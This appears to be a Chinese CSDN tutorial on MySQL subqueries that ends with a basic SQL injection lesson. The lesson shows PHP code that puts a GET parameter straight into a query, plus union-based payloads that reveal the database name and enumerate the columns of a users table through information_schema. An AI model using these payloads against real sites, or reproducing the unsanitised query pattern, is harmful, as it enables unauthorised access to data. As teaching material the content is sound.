MySQL數據庫開發教學(三) 子查詢、基礎SQL注入

書接上回：MySQL數據庫開發教學(二) 核心概念、重要指令 -CSDN博客

建議工具：

Navicat Premium (收費 / 需破解)：Navicat Premium | 管理和开发你的数据库

phpstudy 2018 (免費)：phpStudy - Windows 一键部署 PHP 开发环境 · 小皮出品

前言

        大家好，我是小楓。上期跟大家說完MySQL數據庫的重要概念與核心代碼，那麼這期小編就會帶大家了解一下MySQL的一些進階指令執行。

        希望大家把前幾篇的東西都先學會哈，等我們後面講SQL注入時才不會那麼迷茫哈。那麼廢話不多說，我們開始吧。

目录

前言

一、子查詢

二、select 子查詢

2.1  用於SQL注入

三、WHERE 子查詢

四、from 子查詢

五、SQL注入概念

六、小結

一、子查詢

        子查詢是指一個查詢(select)命令裡有另外一個select指令，通常用於查找當前表中沒有的數據(另外一張表的訊息)，常用於SQL注入。

        以上面2張表為例。若只看員工表的話，我們是無法得知該員工屬於哪個部門的，用普通的查詢語句也無法把員工訊息與部門訊息(b_name)合成一張表。這樣查看起來就會有點麻煩，而子查詢則允許我們同時查看2張表(橫向拼接)。

二、select 子查詢

select b_name from bumen where b_id=1

select (select b_name from bumen where b_id=1) 所屬部門(命名) from emp where emp.name="niko" 
-- 已知niko的b_id是1，就可以使用子查詢直接查b_id=1的是甚麼部門

        2.1  用於SQL注入

# 在知道當前表的列數是多少(3列)後，就可以利用子查詢查看數據庫中的其他數據
select 1,(select database()),3    //利用子查詢查看當前在哪個數據庫

        不止是當前數據庫，你可以用SQL注入找出數據庫中有哪些表、表中有哪些列、列中的數據是甚麼都可以慢慢爆出來。

        當然，你們有權限進入自己數據庫的操作面版，這些技術倒是沒甚麼用。當你要查看別人數據庫而又沒有權限時，這個技術才會用得上。下期會跟大家詳解哈，大家不要着急哈。 

三、WHERE子查詢

        用法跟上面差不多，只不過子查詢的位置從select後面變成了where後面。

select b_name from bumen where bumen.b_id=(select emp.b_id from emp where name="niko")
//在部門表中無法直接獲得員工表(emp)的訊息
=> 利用子查詢找到niko對應的b_id，再查對應的部門

*當查詢的表多於1個時，就要用[對象.屬性/方法]這種語法(bumen.b_id)

四、from 子查詢

        也是差不多用法，這次是寫在from後面。這種子查詢可以同時查多於2張表的訊息。

select * from emp,bumen
=> 橫向拼接2張表成1張

        同理可證，也是兩張表拼成一張表

select b_name from (select name,b_id from emp where name="niko") t1,bumen bu where t1.b_id=bu.b_id
# 把select name,b_id from emp where name="niko"的結果當成一張表，然後與bumen表橫向合拼

代碼解析：

1. 在emp表選下name和b_id列，以name為niko的那一組記錄作為表A (name和b_id為列)

2. 而bumen (b_name & b_id為列) 則作為表B

3. 查看表A與表B b_id相同那一行的b_name

五、SQL注入概念

        SQL注入顧名思義，就是通過往腳本裡寫一些SQL語句以查詢數據。在寫PHP代碼時可能會有一些漏洞的出現，讓SQL語句能夠通過表單提交的方式被寫進腳本。

$id=$_GET('id');
$result="select * from student where id='$id' limit 0,1";
print_r($result);

        像這樣的代碼就存在漏洞。因為表單提交方式為get，所以我們就可以在url上動手腳以實現SQL注入。

?id=1    //為$id賦值為1，輸出id=1的數據
=> 這是最基本的，可以看到表中所有數據。並查看此表有多少列

?id=-2' union select... --   //利用union查詢，並把原來的語句給注釋了(不再生效)
# --是注釋符號

$id=-2' union select 1,(select database()),3--    //已知有3列，就可以查看到當前數據庫

代碼變成：
$report="select * from student where id='-2'    //id不可能=-2，所以第一句指令不會執行
union 
select 1,(select database()),3--' limit 0,1";    // ' limit 0,1被注釋了

        以我們對數據庫的了解，是知道information_schema中有幾個重要的數據表的(不知道的看回第一篇喔)，我們就可以通過子查詢了解整個數據庫的結構甚至數據。

?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--


$result="select * from student where id='-2'
union 
select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--' limit 0,1";
//查看當前數據庫的users表中有哪些列，users表中可以包含重要數據(密碼已加密)

        其他的也是同理可證，大家自行摸索吧。最後還是要提醒大家，技術不要亂用，一不小心犯法了就不好了哈，要練習記得去靶場喔。

六、小結

        好了，這期跟大家講完了子查詢及些許SQL注入，那麼下期小編會跟大家講PHP與MySQL是怎麼扣連的，到那我們的WEB前後端也算是學完了(若想更深入學習可以找其他博主)。

        再下去我們就會開始探討漏洞挖掘技術了哈，大家敬請期待了。

表單提交：後端開發技術教學(四) 數據交互延伸-CSDN博客

數據庫結構：MySQL數據庫開發教學(一) 基本架構-CSDN博客